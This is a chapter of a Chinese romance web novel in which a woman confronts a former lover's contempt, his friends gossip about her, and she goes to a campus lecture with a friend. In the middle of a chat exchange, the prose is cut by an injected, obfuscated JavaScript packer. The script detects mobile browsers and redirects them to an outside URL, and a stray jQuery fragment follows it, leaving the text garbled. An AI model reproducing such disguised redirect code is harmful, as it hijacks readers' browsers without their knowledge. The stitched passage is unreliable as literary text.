6. 雾起06
作品:《京夜雾浓》 出乎在场人的意料,特别是贺嘉晖,他没想到沈郁雾是这么明辨是非的一个人。他以为沈郁雾会偏私自己的朋友,打小吵架没输过的犟种时刻准备战斗。
却一拳打在了浸满冰水的棉花团上。
施柔的小脸慢慢垂下去,刚平息的眼泪又断了线地嘀嗒起来。
温旎翻了个白眼,小声嘀咕:“又没把你怎么样...哭什么哭?”
施柔憋住哽咽,羞愧到不敢抬头。
他们这个圈子里的人,自小见识过的手段比施柔泼酱汁高级多了,温旎嫌恶地皱起鼻尖,“你们两个,打算什么时候把粑粑味的衣服换下来?”
贺嘉晖一秒也不想多呆,拔腿跑出监控室,看那方向是往停车场去了。
姜濯身上的受灾面积更大,他还想留在这看好戏,但被段晏清淡漠的眼神逼退,他悻悻地摸了摸鼻尖,走出两步,忽然想到什么,一把拉过温旎的手臂,“带个路,不然又走错了。”
吵人的几个家伙离开,逼仄的房间中陷入死寂。
人多的时候,沈郁雾尚可镇定周旋,此刻耳畔仅有凛风倏然而过,带来男人身上厚重的沉香乌木气息。她呼吸下意识放缓,“段总,抱歉给您的朋友造成了麻烦。”
公事公办的语气,听起来乏味无趣。
段晏清冷冷淡淡地站在那,开口时声音掺上可闻的讥嘲,“这样拙劣的手段,跟你当年如出一辙。”
心脏咚地一下重重敲击在胸腔上,骤然袭来的阵痛感刺得她喘不过气来。
沈郁雾咬紧唇瓣,无法辩解,无从辩解。
一切都是她做过的恶事。
“段晏清...对不起。”她脸色苍白,在段晏清无情的注视下,手指攥紧,指甲深陷进肉里。
段晏清盯着她,眸光沉如寒潭。
空气仿佛在对视间凝结成冰。
沈郁雾从未感到时间过得如此缓慢。
好像过去了一个世纪,段晏清才慢慢收回视线,薄唇微启,眼底纷杂的情绪顿收,取而代之的是不见喜怒的平静淡漠。
如同重逢那日,视若无睹。
“沈郁雾,你该道歉的那个段晏清,早就死了。”
他低声下去,声音悠远,却重重敲击在沈郁雾的心坎上。每一个字眼都似凌迟的刀子,割在心口最柔软的部位。
段晏清转身离开后,沈郁雾险些站不稳。
施柔眼快,伸手扶住她,“雾姐……”
沈郁雾知道小姑娘想说什么,谁不在乎一个脸面呢,彼此目光交织,传递着默契约定的讯息。她伸手,淡淡拨开了施柔的搀扶,靠着自己的力气站稳。
费尽心机讨来的爱情永远得不到一个善果。
她就是最好的例子。
沈郁雾自嘲一笑,“走吧,不然其他人该担心了。”
-
温旎发现段晏清最近抽烟很凶,他站在廊檐下,指尖青白烟雾升腾,侧脸被红灯笼映出的红光铺开一层暖色,削弱了下颌线的凌厉摄人,连目光都被冲淡了冷淡,平添几丝柔暖幽深。
贺嘉晖是个没心眼的,看不出段晏清的变化。
温旎心里藏着事,在一旁长吁短叹。
“你叹什么气?”贺嘉晖夹出两片羊肉,裹上汤汁塞进嘴巴里,铜锅比较清淡,他喜欢川渝火锅,吃了几口就扔了筷子,“真难吃。”
温旎小脸恹恹,“贺嘉晖,刚才那个美女姐姐你认得吗?”
贺嘉晖在脑内过了遍沈郁雾的脸,没找到蛛丝马迹,摇头。
温旎警惕地端详四周,像间谍接头一样冲他招手。
贺嘉晖一脸狐疑靠过来,便听她幽幽说:“我在段晏清的抽屉里见过她的照片。”
贺嘉晖瞪大眼:“莫?!!”
温旎连忙捂住他的嘴,龇牙咧嘴:“你小点声啊,傻逼!!!”
她和贺嘉晖是同岁,比段晏清年纪稍小,从记事起就跟段晏清身后当跟屁虫,温、段两家世代交好,长辈们早就打算挑选合适的小辈进行联姻,起初选中的是温家大房的独女,也就是温旎的堂姐温乐岚。
后来联姻的重担却落在了温旎头上,她尚不知缘由,但也不抵触。
毕竟放眼偌大京圈,挑不出第二个堪比段晏清的年轻才俊。
贺嘉晖摸了摸下巴,打探道:“不都说是段家定了你堂姐?怎么又换成你了?”
温旎推开他八卦的狗头,撅起嘴巴,像只骄傲的小孔雀。
“还能为什么?当然是我太优秀了呗。”
贺嘉晖懒得捧臭屁,“诶,段哥怎么还不进来?段哥——”
隔着一扇落地窗。段晏清在廊檐下抽烟。
一支烟燃尽,勉强驱散萦绕心头的烦躁。
姜濯恰好换完衣服,一身清爽走来,他饶有兴致端详着堂哥阴沉的面容,不怕死地问:“旧情难忘?”
段晏清冷淡一瞥,“小姨安排的相亲宴还不够你喝一壶?”
还有闲工夫来操心他的事。
姜濯脸色骤变,实在担心亲妈又在某人的蛊惑下安排相亲流水席,双手合十诚恳致歉。
“错了哥,以后再也不敢了。”
段晏清抬步走进店面,黑漆漆的后脑勺写满寡冷矜贵的不近人情。
姜濯缓缓收起惧怵的神色,挑眉:我错哪了?我可真是太棒了。
-
签了璀错的合作案,花嵘的工作重入正轨。曹慧要求工作室一周内提交十种绣样初品,既不能和市场上已有的花样雷同,又不能太过繁复累赘。
沈郁雾一睁眼便把自己锁在工作间,有时连饭都忘记吃。
才五天的时间,整个人瘦了一圈。
但投入的精力与收获不成正比,灵感濒临枯竭状态,画出的几张草稿全被她自我否定掉,多数时候一个人翻弄奶奶留下的绣样图本。
也许是心不静,整个人异常燥热,十度左右的潮冷阴雨天,沈郁雾穿丝质连衣裙,赤脚坐在地毯上,裙摆遮掩住半截伶仃白皙的脚腕骨,青丝乌发也随手用木簪挽在脑后,浑身透出一股疏冷绝尘的厌世感。
但她眼里有光。
既然有了走下去的希望,沈郁雾就绝不会放弃。
晚上,沈郁雾洗完澡,看到手机上来自江续雪的邀约。
社畜忙碌一整周,终于迎来了期待的休息日。
江续雪的好友大多各奔东西,留在徽京的不多,平常想约下午茶都约不到人。
好在认识了沈郁雾,她们很聊得来。
江续雪:【郁雾,周六有安排吗?】
沈郁雾弯唇回复:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165060|165089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
【还没。】
江续雪虽然是曹慧的助理,但不负责花嵘的合作案。
听说了沈郁雾的苦恼后,她感叹:【天呐,一周时间要求出五版初稿!这是什么压榨的资本家!】
沈郁雾觉得闭门造车不是好办法,正打算明天出去散散心,说不定有好的收获。
江续雪发给她一则有关女性主题讲座的邀请函。
演讲人是京大知名教授施简宁,沈郁雾曾在社交平台观看过她的演讲片段,受益良多。
江续雪:【那我们明天八点半,京大逸夫礼堂见?】
沈郁雾:【好呀。】
两人一拍即合,阴郁的台风天也在翌日放晴。
沈郁雾把化妆品搬到了飘窗,打算晒一晒险要发霉的自己。
镜中映出女人素淡的容颜,皮肤白皙润泽,如上乘的流光锦缎。远山眉温婉,眼含流波,眨眼间潋滟风情,典型的江南女子长相。
沈郁雾拍打底妆,习惯性将眼角处的小痣遮住。
老师总说,这双眼睛纯善,眼尾的小痣却平添一抹愁色。
她健在时,喜欢用指腹轻拂这颗泪痣,希望疼爱的徒弟能一生顺遂,不被愁绪所困。
盛夏骤雨,老师病倒。
无人再轻抚她的眼角。
眼泪婆娑,前路坎坷。
却有人愿意在芜杂荒原中,俯下身去,温柔亲吻她的眼睛。
少年的嘴唇在肌肤相触间颤抖,“喃喃,别哭。”
渡来的温度时隔数年,仿佛仍旧印刻在眼尾处。伸手触碰,一片冰凉潮湿。迟钝的思绪被拉扯回现实,硬生生逼她正视所发生的一切。
心脏泛起针扎似细密的疼痛。
他们短暂相伴,又各奔东西,好像只有她一个人被困在回忆深处的沼泽,越陷越深。
沈郁雾垂眸,将脑海中的零星画面驱散。
每天流水线的淡妆几乎形成了肌肉记忆,十分钟收拾好所有,步行到京大,时间刚刚好。
猜到江续雪没有吃早餐的习惯,沈郁雾在校门口的咖啡店买了两份冰美式配全麦三明治,拎着温热的牛皮纸袋来到礼堂大门,通往停车场的主干道被车流拥堵的水泄不通。
江续雪站在台阶上,远远招手:“郁雾,这边——”
沈郁雾走过去,礼堂还没开门,她们在湖边找了处安静的角落,坐在木椅上吃早餐。
京大的校园充溢着青春洋溢的鲜活气息。
沈郁雾不免有些怀念上学时的岁月。
“哎呀,好想继续念书啊。”
江续雪喟叹着,闭上眼感受耳畔拂过的暖风。
不等沈郁雾附和,景观树后忽然响起女人轻柔嗓音。
“阿晏,过去了这么多年,你还是不肯原谅我吗?”
江续雪的八卦雷达滴滴震动,倏地回过头,却看到一张并不陌生的脸。
女人身着干练的湖蓝衬衫,白色鱼尾裙包裹住玲珑有致的身材。没有佩戴多少饰品,却在举手投足间流露出珠光宝气的精致。
她身上有着与江续雪同样的自信明媚,是富养出的女孩才具备的底气。
是沈郁雾所没有的,是大相径庭的清冷疏离和矜贵大气的对撞。
京圈年轻一辈的名媛翘楚,果然名不虚传。